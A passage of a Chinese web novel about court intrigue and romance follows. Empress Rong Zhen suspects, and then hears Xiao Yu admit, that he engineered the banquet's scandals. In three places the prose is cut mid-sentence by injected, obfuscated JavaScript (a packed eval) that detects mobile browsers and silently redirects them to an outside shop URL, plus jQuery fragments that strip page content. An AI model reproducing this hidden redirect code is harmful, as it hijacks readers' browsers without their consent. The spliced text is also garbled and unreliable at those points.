楚绍闻言,脸色阴沉得可怕。他猛地一拍桌子,怒喝道:“好一个大胆的许修明,竟然敢欺君罔上!”说完他眼中闪过一抹寒光。 他最恨的,就是欺君罔上之人。看着跪伏在地的许修明猛地一拍桌子,怒喝道:“来人!将这欺君罔上的狗东西拖下去,杖责二十!” “遵旨!”两名侍卫应声上前,将许修明拖了下去。 殿内顿时一片寂静,落针可闻。 容蓁看着这一幕,心中没有丝毫的波澜。 成王败寇,自古皆是如此。 71.宫宴(3) 承乐殿中,丝竹声被扯破了喉求饶的声音所掩盖。 众人皆惊,曾呼声最高接任吏部尚书一职的官员就这样被拖出去刑杖,眼底惊恐之色溢于言表。 坐在高坐上的容蓁,一双杏眼看着许修明被拖出殿内,目光由远及近缓缓移到了淡定吃酒的秦桓脸上。方才的动静说小不小,但似乎未曾在秦桓的脸上荡起一丝波澜。 这人,比传闻之中还要沉稳得多。心底这样想着的她,看向秦桓的眼色越发沉了下去。 “陛下,臣也有一不情之请。” 就在这时,一个清朗的声音响起,打断了容蓁的思绪。 她抬眸望去,只见说话之人,正是坐在萧誉身旁的兵部尚书之子姜兴文,身上颇有初生牛犊不怕虎之气。 这姜兴文容貌俊朗,谈吐不凡,想是因其父的影响对舞刀弄枪极有兴趣,在盛京是出了名的青年才俊,平日里颇得楚绍赏识。大婚前赏花宴那日落水的姜雅柔,就是他同父异母的妹妹。 “哦?姜家小子有何事?但说无妨。”楚绍目光朝说话的少年递去,饶有兴致地问道。 姜兴文起身,朝着楚绍拱手一拜,朗声道:“姜兴文不才,想借此宫宴为陛下和皇后娘娘献上剑舞以助兴致。” 他话音刚落,便有几个与兵部尚书交好的官员纷纷点头称赞。 “这姜公子果真少年英才哇!” “听闻姜公子剑舞的甚好,我等托陛下的福竟也能够有幸观之!” 那几个溜须拍马的官员赞赏之词脱口而出毫不吝啬,一旁的姜炜脸上亦逐渐显露得意之色来。 此时,其他官员随同参宴的小辈,见姜兴文在皇帝面前得了脸,眼红的紧,也都一个个窜起身来作揖道:“我等也愿为陛下和皇后娘娘献舞!” 楚绍见状,哈哈大笑,点头应允,“好!既然诸位有此雅兴,朕岂有不应之理?准了!” 众子弟得到楚绍的允许,纷纷对视一眼后离席,来到殿的中央。 容蓁看着这一幕,心中不禁冷笑。 这姜兴文,打的倒是好算盘。 他明知楚绍生性多疑,如今以己身请君入瓮,让这些个少年结伴,上赶着在皇帝面前表现自己,少不了会引起猜忌。若平日颇得青睐的拥皇一派,结党并非是为了拥护皇帝,只怕也是各位帝王所不愿见到的! 这些个细微末节,旁人不曾知晓,容蓁倒是对上辈子的这位枕边人了解的很。她不动声色地瞥了一眼身旁的楚绍,果然见他眼中闪过一丝阴鸷之色。 看来,这些少年想要入仕的念想,一眼就能望到头了。 歌舞奏起,丝竹声中,少年们手持长剑鱼贯而入,个个精神抖擞,意气风发。 姜兴文一袭青衣,腰佩长剑,居于最中率先舞动起来。 他身姿矫健,剑法凌厉,一招一式都透着少年人的锐气,引得殿内阵阵叫好。 其余少年也不甘示弱,他们剑法凌厉,招式狠绝,与其说是献舞,不如说更像是在楚绍面前展示自己的实力。 容蓁却只觉无趣,她撑着下巴,目光漫不经心地扫过殿中舞动的少年们。 这些个少年,一个个都像是开屏的孔雀,卖力的展示着自己的羽毛,只为博得楚绍的青睐。 真是太急功近利了。 她轻晃着手中的酒杯,杯中酒水随着她的动作轻轻荡漾,映出她波澜不惊的眸子,余光却是在观察着楚绍的神情。只见他面上虽带着淡淡的笑意,可那双深邃的眼眸中,却满是审视和猜忌。 一曲舞毕,姜兴文收剑而立,朝着楚绍拱手行礼,“陛下,皇后娘娘,我等献丑了。” 楚绍笑着点了点头,“姜家小子好剑法,赏!” 得了赏赐,姜兴文脸上的笑意更浓,他再次行礼,“谢陛下!” 其他少年见状,眼中皆是羡慕之色。 楚绍却只是看着他们笑着点了点头,目光扫过跪在地上的少年们,眼中却无半分赞赏之意,“都起来吧。” 少年们却未曾察觉有异,面上虽是失落,但还是齐声应道:“谢陛下!” 容蓁将这一切都看在眼里,心中猜想:楚绍的疑心病,怕是又要犯了。她不动声色地观察着楚绍的神情,果然见他眉头微蹙,眼中闪过一丝不耐,目光却在左右两位丞相身上徘徊。 她这才意识到不妥,黛眉骤然一蹙,看了一晚上的戏,原来螳螂捕蝉亦有黄雀在后。她的目光一扫百官,而后立即垂看向地面,心底惊诧到:到底是何人会有这等严密的心思! 这分明是一场精心策划的局! 前有,淑贵妃宋冉琴在百官面前忍不住出言挑衅。 后有,与秦桓有直接竞争的许修明在御前冒险自毁前程。 紧接着是姜兴文以一己之私,毁掉左相为首的拥皇一派联盟。 这些背后定是有人教唆! 她不动声色地将手中的酒盏放置在桌面,纤纤玉指轻轻抚摸着杯沿,心中却掀起了惊涛骇浪。 这一环扣一环,步步为营,究竟是谁的手笔? 她抬眸,目光看似漫不经心地扫过殿中众人,最终落在了那个一直沉默不语的白衣少年身上。 萧誉。 会是他吗? 正思考着,耳旁响起楚绍将酒盏重重地放在桌案上,发出“砰”的一声脆响。 殿内歌舞声戛然而止,原本还沉浸在歌舞升平中的众人,皆是一惊,纷纷垂下头去,大气也不敢喘。 才起身的少年们哪曾见过龙颜震怒,惊慌失措又跪回在地上瑟瑟发抖。 容蓁侧首看去,只见楚绍面色铁青,眉头紧锁,眼中似有怒火翻滚,周身散发着一股令人不寒而栗的威压。 她知道,这是他发怒的前兆。 果然,楚绍冷哼一声猛地站起身,目光凌厉地扫过殿中众人后,又转而看向跪在地上急于献技的少年们,语气冰冷刺骨,“好,好的很哇!可真是让朕大开眼界啊!” 他目光锐利如刀,仿佛能看穿人心,怒极反笑声音却像是从牙缝里挤出来的一般,“怎么?你们这是觉得朕瞎了,所以才敢在朕的眼皮子底下玩这些个小把戏吗?!都给朕听清楚了,朕要的是忠心耿耿的臣子,而不是结党营私的乱臣贼子!” 少年们被他这番话吓得魂都快没了,一个个磕头如捣蒜,“我等不敢!我等对陛下忠心耿耿,绝无二心!” 殿中其他众人见状,皆是噤若寒蝉,生怕惹祸上身。 楚绍却是不信,他冷笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13519310|132007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声,“是不是真心,朕心里清楚得很!”他居高临下地看着跪在地上的少年们,一字一句道:“今日之事,朕便不予追究,但若有下次,休怪朕无情!” 他的话语中充满了浓浓的狠厉,殿中众人皆是噤若寒蝉,纷纷跪地请罪。 而高位者面上却丝毫不为所动,只听得他鼻息中传来一声冷哼,随即抬脚踹翻了面前的桌案后,拂袖而去,留下满殿惊恐万分的众人。 容蓁看着楚绍离去的背影,眼中悄然闪过一丝嘲讽之色。 她轻叹一声,缓缓站起身,目光扫过跪在地上瑟瑟发抖的众人,最终再次落在了那个一直沉默不语的白衣少年身上。 萧誉。 依旧是那副云淡风轻的模样,仿佛这一切都与他无关一般。 容蓁心中不禁有些好奇,他究竟在想些什么? 这场闹剧,究竟是他一手策划的,还是另有其人? 她不动声色地收回目光,转身离去。 这场宴会,终究是不欢而散。 - 楚绍回到御书房,心中的怒火依旧未消,将桌案上的奏折尽数扫落在地。 他胸口剧烈起伏着,眼中满是阴鸷之色。 小太监战战兢兢地跪在地上,大气也不敢喘一声。 楚绍怒气冲冲地在御书房内来回踱步,心中烦躁不安。这些年来,他为了巩固皇权,铲除异己,可谓是煞费苦心。可如今,他却发现,自己身边竟然潜藏着这么多心怀叵测之人! 他如何能不怒?! 吏部尚书一职空缺,他原本属意宋氏拥皇一派,可如今看来,他们也并非全然可信。或许这些人表面上对他忠心耿耿,实际上却是各怀鬼胎! 他越想越怒,心中杀意翻涌。 如今必须尽快找到一个合适的人选,接任吏部尚书一职!可放眼整个朝堂,还有谁是他可以信任的呢? 他来回踱步,脑海中掠过一个个身影,终于猛地停下脚步,目光凌厉地看向小太监,“去,把秦桓给朕叫来!” 小太监如蒙大赦,连忙爬起身,连滚带爬地跑了出去。 楚绍揉了揉眉心,只觉得一阵头痛。 不多时,秦桓便随同小太监匆匆进了御书房。 “微臣参见陛下。” 楚绍看着眼前这个,始终不喜形于色的男人,这些年因着秦氏势大后衰微,他借机对其明里暗里多有打压,让诸多秦氏之人不满,但眼前这个却是极少有埋怨之言。 此人虽非嫡系但能力出众,办事稳妥,最重要的是,他不属于任何一个派系。 如今看来,让他来接任吏部尚书一职,再合适不过了。 “爱卿,平身吧。”楚绍看着秦桓,语气是难得的温和道。 “谢陛下。”秦桓起身,恭敬地站在一旁。 楚绍见其安分地站立在一旁,忍不住又多再打量了几番,这才继续说道:“朕观秦爱卿,办事沉稳,能力出众,不知可愿为朕分忧,接任吏部尚书一职?” 秦桓闻言,连忙跪下,“微臣惶恐,微臣才疏学浅,恐难当此重任。” 楚绍上前一步,亲自将秦桓扶起来,语重心长地说道:“爱卿不必妄自菲薄,朕相信你有这个能力。” 72.吃醋 半个时辰前,因着楚绍的雷霆之怒,今年的除夕宫宴不欢而散。容蓁身为皇后,安抚了众位大臣几句后,吩咐着让宫人好生将百官及其眷属送至宫门。 等她忙完回看原本左下角落的席位时,才发现不知何时萧誉已离去,容蓁看着那个席位怔怔地看了几息,这才回神离开承乐殿。 除夕的夜,没有落雪,宫灯在两旁闪烁。回殿途中,宫外的夜空,被一次次冲向云霄的烟火照亮,她抬眼看去,一双杏眼定定地看向宫外绚丽多彩的夜空,烟火再次照亮她眸色的瞬间,时间似乎也在那一刻被定结。 直到下一个烟火再次在夜空中亮起,容蓁才缓缓回收看向宫外夜空的目光,落在空荡荡只有宫人走过的御道上,心念着这个时辰父亲与哥哥该是在正厅用团圆宴了罢。 她敛下眼眸,轻轻放下被掀起的帘子,面上的神色如同御道上三三两两往来宫人一样将自己隐于暗处。 辇在御道上又行进了两盏茶才至明华殿。 明华殿内,烛火摇曳,为奢华红色装裹的宫殿添了一丝暖意。 殿门缓缓合上,隔绝了外间最后一丝喧嚣。 容蓁才被簇拥着走近暖阁,立即有伶俐的宫人走上来为她脱下身上的狐裘大氅,将刚温好的汤婆子放在其手中。她疲惫地揉了揉眉心,素手轻抬,指尖的蔻丹在烛火下闪着幽幽的光。 “都下去吧。”她红唇微启,轻轻地吩咐着。 殿内宫娥太监们鱼贯而出,训练有素,不发出一丝声响。 殿内顿时安静下来,只余袅袅沉香在空气中静静流淌,却驱不散她心头萦绕不去的疑绪。 容蓁才长长地舒了一口气,卸下满头珠翠,任由青丝如瀑青丝倾泻而下,凤冠被她随手扔在妆台上,发出一声清脆的声响。 “娘娘,您慢些。”身后传来芯红轻声的提醒,带着几分担忧。 铜镜中映照出一张芙蓉面,眉目如画,唇不点而红,只是那双清澈的眸子深处,却藏着一丝不易察觉的落寞。容蓁透过铜镜看了她一眼,示意她不必担心。 “娘娘,可是宴上酒菜不合胃口?”贴身宫女绿芜见容蓁眉头紧锁,小心翼翼地问道。 她轻轻摇头,接过芯红递来的热茶,轻抿一口,任由温热的茶水顺着喉咙缓缓流下。 “你说,这皇权之下,人与人之间只能是非友即敌么?”容蓁轻抚着美人靠上雕刻精美的花纹,漫不经心地问道。 芯红闻言,微微一愣,随即垂下眼帘,低声答道:“奴婢愚钝,不懂娘娘的意思。” 她闻言轻笑一声,这丫头,倒是越发谨慎了。 “罢了,你下去吧,我想一个人静静。今日除夕夜,让小厨房为殿里平日伺候的宫人们煮些皮薄肉多的饺子。”他们与自己一样,说到底都是被困在这金丝笼中的可怜人。 “是,娘娘。”绿芜还想再说些什么,却被芯红拉了拉衣角,最终还是屈膝应下,福了福身,退出了暖阁。 待到殿内只剩下容蓁一人时,她自嘲地笑了笑,语气中带着几分自嘲和冷意。 “这除夕宫宴,还真是令人‘难忘’啊……” 她起身,走到窗边,推开雕花窗棂,任由冷风吹拂着脸颊。 今晚的宫宴,看似歌舞升平,实则暗潮汹涌。 若说开始的宋冉琴是自取其辱,那么从许修明被当众拖出去,到姜兴文刻意提起献舞,再到那些世家子弟争先恐后的表演……看似是少年意气,实则不过是借机表现,想要博得楚绍的青睐罢了。 而这背后,若说没有人在暗中推波助澜,她是绝不相信的。 楚绍虽然昏庸,但也不是傻子,他不可能看不出这些人的心思。 他之所以开始放任,无非是想借此机会,打压一部分人,趁机看清哪些人是真心辅佐于他,而他也能更明晰将来哪些是能够扶持自己的心腹罢了。 想到这里,容蓁眼中闪过一丝冷意。 这一切,看似毫无关联,却处处透着刻意,而这背后的操纵者,除了那个人,还能有谁? “萧誉……” 她低声呢喃着这个名字,脑海中浮现出那张清俊淡漠的脸。 在今日的宫宴上,他始终沉默寡言,仿佛置身事外。 “你究竟在想些什么呢?”容蓁闭上眼,深吸一口气,将心中翻涌的情绪压下,走到美人靠前,懒懒地倚了上去。 她缓缓闭上双眼,脑海中浮现出今晚宫宴上的种种细节。 宋冉琴、许修明、姜兴文、宋珺…… 他们的每一个眼神,每一句话,都像是一根根细线,将今晚这场闹剧串联起来。而这些人,无非都是各世族之间的利益纠结,才集结成以宋珺为首的拥皇一派。这些人看似拥护着楚绍,今晚过后只怕会生出许多变数。 容蓁正闭眼细细思考着宫宴的细微末节,试图从今晚的闹剧中窥探出几分未来朝堂的趋势走向。 忽而,耳边传来一阵细微的响动。 “吱呀——” 雕花窗棂被人轻轻推开,一道颀长的身影逆着月光跃入殿内。来人动作轻盈,没有发出其他声响,显然是个高手。 “谁?!”容蓁心中一惊,几乎是瞬间就睁开了眼,映入眼帘的,是萧誉那张放大的俊脸,近在咫尺。月光在他身后镀上一层银边,衬得他整个人越发清冷孤傲。 他深邃的眉眼间带着一丝不易察觉的慌乱,薄唇微抿,似乎是在压抑着什么。还不待她反应过来,温热的触感便从唇上传来。 萧誉的吻,带着几分急切,几分霸道,更多的是压抑不住的深情。 那温热带着熟悉的甘松香气,带着不容拒绝的侵略性。 她下意识地想要推开他,却被他一把搂住腰肢,扣住了她的后脑,更加用力地吻住。加深了这个吻,牙关被萧誉轻而易举的用舌尖撬开,长驱直入。 “唔……” 容蓁挣扎着,却换来他更加猛烈的掠夺。 他的吻,如同狂风暴雨般席卷而来,带着不容拒绝的强势,却又带着一丝小心翼翼的温柔。 容蓁感觉自己快要窒息了,却又贪恋着这份温暖。 她的心跳骤然加快,一股酥麻的感觉自脊椎窜遍全身,让她无力抵抗,呼吸也变得急促起来。她顿时脑海中一片空白,只剩下他身上的气息和唇齿间的纠缠。 不知过了多久,萧誉终于放开了她,但双臂依旧紧紧地搂着她,依然将她禁锢在怀中,仿佛要将她揉进自己的骨血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583531|132007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,两人的呼吸都有些急促。 容蓁唇瓣微微红肿,胸口剧烈起伏着大口地喘着气,双颊绯红,眼波流转间带着几分羞恼,几分迷离。 “萧誉,你……” 她刚想开口,却被他用食指抵住了唇瓣。 “嘘……” 萧誉的声音低沉,带着几分情动的暗哑。温热的呼吸轻轻喷洒在她的脸上,带起一阵酥麻的痒意。 他深邃的眸子紧紧地锁住她的眼眸,昏暗的烛光下,显得格外幽深,仿佛要将她看穿。 “别说话,让我好好看看你。”萧誉说着,眼中闪过一丝暗芒。 容蓁的心跳再次加速,却鬼使神差地没有再开口,任由他这样看着自己。 四目相对,时间仿佛静止了一般。 烛火摇曳,映照着两人紧紧相拥的身影,暧昧的气息在空气中蔓延开来。 萧誉低眸看着她,眼中满是柔情蜜意,修长的手指轻轻抚摸着她红肿的唇瓣,语气中带着一丝不易察觉的醋意:“今日宫宴上,那些个舞剑的世家公子,可有哪个入了你的眼?” 容蓁闻言,疑惑地抬眸看向那双深邃的眼眸。那带着薄茧的指腹轻轻摩挲着她的唇,带来一阵酥麻的战栗。 他眸色深沉,眼眸上方的眉头紧紧皱起,只听他继续道:“难不成皇后娘娘觉着他们哪个的脸比我要生得俊俏?竟能让你瞧着挪不开眼。” 容蓁微微一愣,随即反应过来,他这是在……吃醋? 她被萧誉这突如其来的醋意弄得哭笑不得,这还是那个运筹帷幄,心思深沉的世子吗?若不是了解他,看着眼前的这般模样的人,还真能让容蓁将他与今晚所发生的事情之间画上一个问号。 她眼波流转,故意逗他:“怎么?萧世子这是吃醋了?” 萧誉眸色一暗,没有说话,只是将她搂得更紧了些,仿佛要将她嵌入自己的身体。 “嗯。”他声音低沉,带着一丝沙哑,却更显暧昧。 容蓁被他这意料之外的诚实惹得稍稍一愣,随之轻笑一声,伸手勾住他的脖颈,指尖轻轻摩挲着他颈后的肌肤,感受着他身体的紧绷。 “哦?那世子想如何?”她语气娇媚,带着一丝挑逗。 萧誉喉结滚动,眸色愈发幽深,低头吻住她的耳垂,声音暗哑:“想……” 他顿了顿,没有继续说下去,只是将头埋在她的颈窝,深深地吸了一口气,仿佛在汲取着她的气息。 “想将皇后娘娘藏起来,不让任何人看见。” 容蓁心中好笑却一扫之前的阴霾,如今才发现这萧誉,平日里看着清冷禁欲,没想到醋劲儿还挺大。 她知道,萧誉对她动了真心,而她,又何尝不是? “萧誉。”她轻轻地唤着他的名字。 埋在她颈窝的人,鼻息中传来一声轻哼算是应答。 容蓁侧首,看见萧誉那长长的眼睫如羽扇般遮住眼眸。 后者等着许久未听见下文,正想抬起埋在她颈窝的头看向容蓁时,容蓁恰好低下头来,方才被吻的红肿的唇猝不及防地落在他的唇上。 这个吻,不同于以往任何一次。 亦是她出生以来的第一次主动,还带着一丝青涩。 73.任务 明华殿暖阁内分外安静,烛光闪烁摇曳,照映着房间内一方旖旎。 容蓁一改往日的举动,让萧誉心中惊了半瞬的同时面上也愣住。显然没料到容蓁会主动吻他,温软的唇瓣再次落在他的唇上。 下一瞬,他便反客为主,环住怀中人的腰身,轻轻一带就将人压在了身下,如瀑的青丝自美人榻上柔顺地倾泻下来。 容蓁微微眯起眼眸,纤长浓密的睫毛在眼睑处投下一片阴影,遮住了眼中一闪而过的紧张。 萧誉似乎很享受她的主动,原本只是轻轻环在她腰间的手臂收紧了几分,恨不得将她揉进自己的骨血里。 被压在身下的人被吻得有些喘不过气,但她并没有退缩,反而更加热烈地回应着。 他的吻,霸道而又温柔,带着一股不容拒绝的强势,却又小心翼翼地呵护着她。 容蓁感觉自己仿佛置身于一片温暖的海洋之中,被他的气息包围,被他的温度融化。 她情不自禁地闭上眼睛,沉醉在这个吻中。 萧誉的手指轻轻地穿过她的长发,将她紧紧地搂在怀中。他的心跳得很快,仿佛要从胸腔里跳出来一般。细密的吻自唇缓缓下移,落在那白皙的脖颈上,身下人敏感地禁不住颤栗。 “阿蓁……”他低哑着声音唤她,声音中带着情迷。 容蓁睁开眼睛,看着眼前这个深情款款的男人。“嗯?”她轻声应道,声音中带着一丝慵懒的沙哑。 殿内的烛光映在他深邃的眼眸中,平日漆黑如潭的眸光此时却比天边的星辰更加耀眼。 四目相对,空气之中似有火光迸发。 他再次低下头,吻住了她的唇。 这个吻,比以往任何一次都要热烈,都要缠绵。仿佛要将心中所有的爱意,都融入到这个吻中。 【宿主与萧誉好感度增长10分,目前总好感度为72分】 容蓁被萧誉的温柔而细密的吻,吻得意乱情迷之时,脑海中传来系统的提示。此时她的情绪被萧誉带着一顾不上这些,勾住他脖颈的手更加收紧了些。 【检测到宿主支线任务:帮助萧誉回到南疆,奖励:宿主将得到“前世羁绊”的第三条线索。宿主是否开启支线任务?】 帮他,回到南疆…… 环住萧誉脖颈的双手在听到支线任务的同时,忽然松了开。 感受到怀中人异常的萧誉亲吻她的动作停了下来,离开对方的唇瓣,拉扯留恋不舍的银丝,他疑惑地低下头来看着面色绯红的美人,嗓音低哑的关心道:“怎么了?” 他的目光定在容蓁美若芙蕖,此时越发妩媚的脸上,见她纤长浓密的眼睫轻颤着。以为是自己情切惹了她不悦,看着她的目光不自觉地沉了下去,“抱歉,是我心急了。” 容蓁在他怀中失着神没有说话。 萧誉等了片刻,见她不说话,轻轻叹了口气后缓缓起身,离开美人靠。 容蓁沉默半晌,眸光逐渐清明,转眸看向已在一旁坐下的萧誉,才开口问他,“你,想回南疆吗?”她的声音虽轻,却如同窗外红梅散发出的幽香,让人心魂一荡。 萧誉眉间轻皱,不知晓为何她忽然问起这个,心中却感觉这个问题他需得严肃回答。 于是,他沉吟片刻低头盯着容蓁那双杏眼,认真答道:“我刚来这里时,日夜都想着能够早日回去。” 他伸手握住容蓁白皙的手,未等她开口连忙继续道:“而现在,不管是南疆,还是这里都有我牵挂的人。所以,现在的我,也不知道是想回去,还是不想回去。” 她被萧誉认真的回答弄的微微一怔,被他握在手中的手指轻轻一动。 未等她再次开口,萧誉忽然站起身,眼里含笑看着她道:“若是阿蓁愿意成为南疆未来的王妃,那我也就没有现下的烦恼,所以,阿蓁你可想让我回去?” 容蓁愕然片刻,失笑地看着眼前如月色清冷的男子,目光自那张过分俊俏使人挪不开眼的脸上,上移至他眉眼处,细细打量起来。 他依旧是那个惯会将问题抛回去的,难缠的人! 良久,容蓁嗔了他一眼,开口冷静道:“今晚宫宴那几出戏,可是你谋划的?” 萧誉闻言,看着容蓁的眸光微动,过了好一会才听他失笑道:“你呀,还是如此不解风情。”语气中带有些惋惜。 他伸手,轻轻捏了捏她白皙滑嫩的脸颊,语气宠溺道:“阿蓁真是聪慧过人,什么都瞒不过你。” 容蓁拍开他的手,看着萧誉不说话。 萧誉见她似是真恼了,连忙收敛了笑意,正色道:“是,今夜之事,是我安排的。” 他顿了顿,继续道:“宋珺一派,这些年在朝中势力盘根错节,皇帝对其十分信任需得打破他们之间的平衡。今夜过后,不仅削弱了他们的势力还惹得皇帝猜忌。而我们既可以让秦桓顺利接任吏部尚书,又可以让皇帝暂且将盯着容氏的视线挪开去别处,一箭双雕难道不合阿蓁的心意?” 萧誉握住她的手,目光灼灼地看着她,道:“阿蓁,我知道你心中有顾虑,但请你相信我。”他的语气真诚,眼神深邃,仿佛能看透她心底的每一个想法。 容蓁收回目光,缓缓起身,走到窗边,隔着雕花窗看向窗外。 夜色如墨,繁星点点。 她美眸微转,纤纤玉指抚上窗棂,语气淡淡道:“宋冉琴向来蠢笨也罢了,那许修明与姜兴文一个吏部侍郎,一个兵部尚书嫡子,百官面前直接在他二人身上动土,你就不怕,玩火自焚?” 萧誉看着她纤细的背影,月光勾勒出她玲珑的曲线,心中一片柔软。 “阿蓁是在担心我吗?”他走到她身后,语气中带着一丝不易察觉的愉悦。 容蓁没有回头,“我只是不喜欢,被人当枪使。” 此次宫宴,明面上从头至尾都是她安排的,今后她与宋冉琴,容氏与宋氏之间怕是要不死不休了。 几片雪花自空中飘落,映入容蓁沉思的眸底,想到上一世,须臾,她转而轻笑,即便是没有今日这一遭,她们之间也早已是不死不休。 萧誉伸手,从背后将她拥入怀中,下巴抵在她肩头,声音低沉而富有磁性,“阿蓁放心,我不会让你为难。” 温热的气息轻拂过她的耳畔,低沉的嗓音带着一丝蛊惑:“阿蓁这是在怀疑我吗?” 容蓁身子一僵,感受到他灼热的呼吸,心跳不禁漏了一拍。面上虽依旧维持着波澜不惊,只是那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591774|132007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白皙的耳根,却悄悄爬上了一抹绯红。 她垂下眼眸,掩饰住眼底的情绪,“你多虑了,我自然信你。只不过,若有下次,你需与我商议些,我不想你一人冒险。”她越说声音越轻,但每个字依然清晰地落入萧誉的耳中。 他在容蓁耳旁轻笑一声,答应道:“好。” 下一刻,收紧从背后环住她的手,他将她越发紧紧地搂在怀中。 她能感受到他胸膛传来的灼热温度,以及那强而有力的心跳声。 这一刻,她心中对萧誉的认识也更深了许多。 从告知他欲扶持两派之外的人接任吏部尚书起,到今夜亲眼所见他的布局。不到两天日夜,他竟能布局如此周密,就连许修明的特殊喜好也能掌握并成功利用,这样的心思……竟让容蓁这个重生一遭的人生出,好在与他的立场不是对立的想法来。 窗外,夜色正浓,一轮明月高悬于夜空,洒下清冷的月光。 月光透过窗棂,照射在两人相拥的身影上,仿佛为他们镀上了一层银色的光辉。 他温热的呼吸喷洒在她耳后,激起一阵酥麻的战栗。 容蓁有些不自在地动了动身子,想要避开这让她心跳加速的亲昵。 萧誉却误解了她的动作,以为她还在为方才的事生气,环在她腰间的手臂又收紧了几分,语气中带着几分不易察觉的委屈:“阿蓁,还在生我的气吗?” 容蓁被他这突如其来的撒娇弄得哭笑不得,这个男人,还真是…… 她不着痕迹地深吸一口气,压下心中异样的情绪道:“没有。” “真的?”萧誉显然不信,语气中带着几分试探,伸着头来想从身后去看她此时的神情。 容蓁被他缠得无奈,只好转过身,抬眸看向他,故作认真道:“我并未骗你。” “阿蓁这是不习惯吗?”他低沉的声音里带着一丝笑意,像是故意要逗弄。 “阿誉……”她轻唤一声,语气中带着一丝娇嗔。 他低沉的笑声在容蓁耳边响起,“阿蓁,唤我什么?” 容蓁呼吸一滞,脸颊上飞起两朵红云,却被他尽数收入眼底。“萧誉,你放开我。”她故作镇定地说道,语气却不自觉地软了下来。 萧誉轻笑一声,终于松开了她,却依然站在她身后,双手撑在容蓁的身侧,将其圈禁在他的方寸天地之间。 四目相对,萧誉深邃的眸子里倒映着她娇小的身影,仿佛天地间只剩下彼此。 他喉结微动,眸色渐深,语气低沉而沙哑:“阿蓁……” 容蓁被他看得有些不自在,正欲开口,目光不经意地扫过桌案,余光却瞥见桌案上那抹熟悉的红木雕花时微微一顿。 那是一个食盒,被垒得高高的。 她认得这个食盒,是府里惯常用的。 容蓁眸光微动,指着食盒,明知故问道:“那是什么?” 萧誉顺着她的目光看去,这才想起自己带来的东西。 他沉默了片刻,似乎在打量容蓁此时的神情,半晌才缓缓开口道:“我怕你在宫里想念今日府中的膳食,所以在宫宴结束后去了趟容府,将你父兄用的团圆宴每样菜品都打包了一样给你带回宫里来。” 74.试探 他语气平淡,仿佛只是在说一件微不足道的小事。 但容蓁却听得心中一震。 她不曾想到,宫宴结束之后他竟然去了容府? 只是为了特意去打包团圆宴来送与她,一解她心中此时对父兄的相思之意。 容蓁心中五味杂陈,一时间竟不知该说些什么。她敛下眼睑,除夕团圆,他能想到她会思念亲人,而他自己又何尝不会想念自己的亲人。 想到此处,她的心中似是做出了决定,脑海中唤出系统:“系统,我接受新的支线任务。” 【系统收到,第三个支线任务已开启】 与系统沟通时,萧誉已走至桌案前将那红木雕花食盒打开,热气腾腾的香气扑鼻而来,里面摆放着几样精致的菜品糕点,都是容蓁在府里时平日里爱吃的。 “怎么,阿蓁不喜欢吗?”萧誉见她看着食盒沉默着,忍不住问道。 容蓁闻声回过神来,掩饰住眼底的情绪,淡淡道:“没有,只是有些意外。” “只是意外吗?”他追问道,语气中带着一丝探究。 她抬眸看向萧誉,对上他那双深邃的眸子,心中一凛。 这个男人,真是越来越会顺杆爬了。 她看着眼前这些菜品糕点,心中一暖,“有劳你费心了。” “为你,何须言谢。”他说着,拿起金箸,夹了一块五味杏酪鹅递到容蓁嘴边,“尝尝。” 容蓁看着他深邃的眸子,鬼使神差地张开嘴,咬了一小口那五味杏酪鹅,眼底眸光闪动起。 “嗯,好吃。”她点点头,唇角勾起一丝弧度。 萧誉见她开心地笑了,原本紧绷的嘴角也放松下来,露出一个如释重负的笑容。 伸手将容蓁拉到桌案前坐下,体贴地为她盛了一碗江瑶清羹。 “慢些喝,小心烫。”他柔声说道,语气中满是宠溺。 容蓁接过汤碗,低头喝了一口,只觉得一股暖流涌上心头。 或许,他待她真的与旁人是不同的。 她心中暗暗思忖,却并未表现出来。 “这些都是你亲自去取的?”容蓁放下汤碗,状似不经意地问道。 “自然。”萧誉点点头,语气中带着一丝得意。 “宫宴才结束你就去了容府,这么短的时间往返,你是有分身么?”她放下汤碗,似笑非笑地看着他。 未等他反应,容蓁接着道:“那你又是什么时候安排人去查探许修明喜好的?” 萧誉闻言,脸上的笑容一僵。 他怎么忘了,眼前这位看似柔弱可欺的皇后娘娘,心思缜密,聪慧过人。 “阿蓁……”他有些心虚地唤了一声。 容蓁眼中含笑地放下金箸,直视着他深邃的眸子,“怎么,可是说不得?” 萧誉张了张嘴,想要解释,却又不知从何说起。 他总不能告诉她,他早就派人暗中调查了朝中所有官员的喜好,为的就是有朝一日能够投其所好,为她所用吧? “阿蓁,我……”他欲言又止。 